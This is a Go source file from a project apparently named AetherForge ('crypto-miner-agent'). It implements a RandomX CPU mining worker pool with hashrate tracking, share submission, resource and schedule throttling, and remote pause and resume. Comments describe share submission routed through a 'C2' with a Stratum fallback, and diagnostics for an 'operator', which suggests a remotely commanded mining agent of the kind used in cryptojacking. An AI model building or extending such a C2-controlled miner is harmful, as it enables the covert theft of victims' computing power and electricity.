AetherForge/agent/miner/pool.go

package miner

import (
	"encoding/hex"
	"log"
	"math/big"
	"sync"
	"sync/atomic"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/job"
	"crypto-miner-agent/stats"
)

type ShareHandler func(jobID, nonce, hash string)

type Pool struct {
	threads  int
	cfg      config.RuntimeConfig
	reporter *stats.Reporter
	engines  []*Engine
	schedule *ScheduleGuard

	mu         sync.RWMutex
	currentJob *job.Job
	// jobGen is incremented atomically every time SetJob replaces the current job.
	// Workers compare their local snapshot to detect job changes inside the inner
	// hash loop without acquiring mu on every iteration.
	jobGen     atomic.Uint64
	stopCh     chan struct{}
	wg         sync.WaitGroup
	paused      atomic.Bool
	remotePause atomic.Bool

	// Share handler — swappable at runtime (C2 vs Stratum fallback).
	handlerMu sync.RWMutex
	handler   ShareHandler

	// Hashrate tracking — reset each stats tick, divided by elapsed seconds.
	hashesTotal    atomic.Uint64
	sharesFound    atomic.Uint64
	resetMu        sync.Mutex
	hashesLastReset time.Time
}

func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
	if threads <= 0 {
		threads = 1
	}
	engines := make([]*Engine, threads)
	for i := range engines {
		engines[i] = NewEngine()
	}
	return &Pool{
		threads:         threads,
		cfg:             cfg,
		reporter:        reporter,
		engines:         engines,
		handler:         handler,
		schedule:        NewScheduleGuard(cfg, reporter),
		stopCh:          make(chan struct{}),
		hashesLastReset: time.Now(),
	}
}

func (p *Pool) UpdateRuntimePolicy(cfg config.RuntimeConfig) {
	p.mu.Lock()
	p.cfg = cfg
	p.mu.Unlock()
	if p.schedule != nil {
		p.schedule.UpdateConfig(cfg)
	}
}

// RestartRandomX reinitializes in-process RandomX engines and resumes hashing.
func (p *Pool) RestartRandomX() {
	p.mu.Lock()
	job := p.currentJob
	engines := p.engines
	p.mu.Unlock()
	for _, engine := range engines {
		engine.Reset()
	}
	if job != nil {
		p.SetJob(job)
	}
	p.remotePause.Store(false)
	p.paused.Store(false)
}

func (p *Pool) SetJob(job *job.Job) {
	p.mu.Lock()
	p.currentJob = job
	// Bump generation while holding the write-lock so workers that check jobGen
	// inside their inner batch loop break out and re-snapshot the new job.
	gen := p.jobGen.Add(1)
	_ = gen
	if job == nil {
		p.mu.Unlock()
		return
	}
	seed := job.SeedHash
	if seed == "" && len(job.Blob) >= 64 {
		seed = job.Blob[:64]
	}
	// Capture engines slice before releasing the lock.
	engines := p.engines
	p.mu.Unlock()
	// Update all engines outside the pool lock — each Engine has its own mutex.
	for _, engine := range engines {
		if err := engine.SetJob(seed, job.Blob); err != nil {
			log.Printf("[miner] failed to set job: %v", err)
		}
	}
}

func (p *Pool) Start() {
	for i := 0; i < p.threads; i++ {
		p.wg.Add(1)
		go p.worker(i, p.engines[i])
	}
	go p.resourceGuard()
}

func (p *Pool) Stop() {
	close(p.stopCh)
	p.wg.Wait()
}

// HashesPerSecond returns the average hash rate since the last ResetHashCounter call.
func (p *Pool) HashesPerSecond() float64 {
	p.resetMu.Lock()
	elapsed := time.Since(p.hashesLastReset).Seconds()
	count := float64(p.hashesTotal.Load())
	p.resetMu.Unlock()
	if elapsed <= 0 {
		return 0
	}
	return count / elapsed
}

// ResetHashCounter zeroes the counter and records the reset time so that
// the next HashesPerSecond() call measures over the correct interval.
func (p *Pool) ResetHashCounter() {
	p.resetMu.Lock()
	p.hashesTotal.Store(0)
	p.hashesLastReset = time.Now()
	p.resetMu.Unlock()
}

// SetShareHandler replaces the share submission callback at runtime.
// Used to switch between C2-mediated submission and direct Stratum submission.
func (p *Pool) SetShareHandler(fn ShareHandler) {
	p.handlerMu.Lock()
	p.handler = fn
	p.handlerMu.Unlock()
}

func (p *Pool) PauseRemote() {
	p.remotePause.Store(true)
}

func (p *Pool) ResumeRemote() {
	p.remotePause.Store(false)
}

func (p *Pool) IsRemotePaused() bool {
	return p.remotePause.Load()
}

// DiagnosticSnapshot reports CPU mining gate state for operator diagnostics.
func (p *Pool) DiagnosticSnapshot() (remotePaused, scheduleBlocked, resourcesBlocked, hasJob bool, hps float64) {
	remotePaused = p.remotePause.Load()
	scheduleBlocked = p.schedule != nil && !p.schedule.Allowed()
	resourcesBlocked = !p.resourcesOK()
	p.mu.RLock()
	job := p.currentJob
	p.mu.RUnlock()
	hasJob = job != nil && job.Blob != ""
	hps = p.HashesPerSecond()
	return
}

func (p *Pool) resourceGuard() {
	ticker := time.NewTicker(5 * time.Second)
	defer ticker.Stop()
	for {
		select {
		case <-p.stopCh:
			return
		case <-ticker.C:
			p.paused.Store(!p.miningAllowed())
		}
	}
}

func (p *Pool) miningAllowed() bool {
	if !p.resourcesOK() {
		return false
	}
	if p.schedule != nil && !p.schedule.Allowed() {
		return false
	}
	return true
}

func (p *Pool) resourcesOK() bool {
	cpuPct := p.reporter.SystemCPUPercent()
	if cpuPct <= 0 {
		cpuPct, _ = p.reporter.Usage()
	}
	if p.cfg.MaxCPUUsage > 0 && cpuPct > float64(p.cfg.MaxCPUUsage) {
		return false
	}
	freeMB := p.reporter.FreeMemoryMB()
	if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
		return false
	}
	totalMB := p.reporter.TotalMemoryMB()
	if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
		// Clamp freeMB to totalMB before subtraction: on Linux, MemAvailable
		// can briefly exceed MemTotal (page-cache reclaim), which would cause
		// uint64 wraparound and a 1.8e19 % usage value that halts mining.
		clampedFree := freeMB
		if clampedFree > totalMB {
			clampedFree = totalMB
		}
		usedPct := float64(totalMB-clampedFree) / float64(totalMB) * 100
		if usedPct > float64(p.cfg.MaxMemoryPct) {
			return false
		}
	}
	return true
}

func (p *Pool) worker(id int, engine *Engine) {
	defer p.wg.Done()

	var nonce uint32 = uint32(id * 1000000)

	for {
		select {
		case <-p.stopCh:
			return
		default:
		}

		if p.paused.Load() || p.remotePause.Load() {
			time.Sleep(2 * time.Second)
			continue
		}

		p.mu.RLock()
		job := p.currentJob
		p.mu.RUnlock()
		if job == nil || job.Blob == "" {
			time.Sleep(500 * time.Millisecond)
			continue
		}

		// Snapshot the generation before the inner loop so we can detect a new
		// job mid-batch and break early rather than hashing 256 stale nonces.
		startGen := p.jobGen.Load()

		for batch := 0; batch < 256; batch++ {
			select {
			case <-p.stopCh:
				return
			default:
			}
			if p.paused.Load() || p.remotePause.Load() {
				break
			}
			// New job arrived — abandon this batch and re-snapshot immediately.
			if p.jobGen.Load() != startGen {
				break
			}

			hashHex, _, err := engine.HashAtNonce(nonce)
			if err != nil {
				log.Printf("[miner] hash error: %v", err)
				break
			}
			if hashHex == "" {
				// Engine not yet initialised (seed still being set) — break out
				// and let the outer loop re-snapshot the job once it is ready.
				break
			}
			p.hashesTotal.Add(1)
			nonce++

			target := job.Target
			if target == "" && job.Difficulty > 0 {
				target = difficultyToTargetHex(job.Difficulty)
			}
			if target != "" && hashMeetsTarget(hashHex, target) {
				p.sharesFound.Add(1)
				p.handlerMu.RLock()
				h := p.handler
				p.handlerMu.RUnlock()
				if h != nil {
					h(job.ID, uint32ToHex(nonce-1), hashHex)
				}
			}
		}
	}
}

func uint32ToHex(n uint32) string {
	b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
	return hexEncode(b)
}

func hexEncode(b []byte) string {
	const hexdigits = "0123456789abcdef"
	out := make([]byte, len(b)*2)
	for i, v := range b {
		out[i*2] = hexdigits[v>>4]
		out[i*2+1] = hexdigits[v&0x0f]
	}
	return string(out)
}

func difficultyToTargetHex(difficulty int64) string {
	if difficulty <= 0 {
		return ""
	}
	maxTarget := new(big.Int)
	maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
	target := new(big.Int).Div(maxTarget, big.NewInt(difficulty))
	bytes := target.Bytes()
	padded := make([]byte, 32)
	copy(padded[32-len(bytes):], bytes)
	for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
		padded[i], padded[j] = padded[j], padded[i]
	}
	return hex.EncodeToString(padded)
}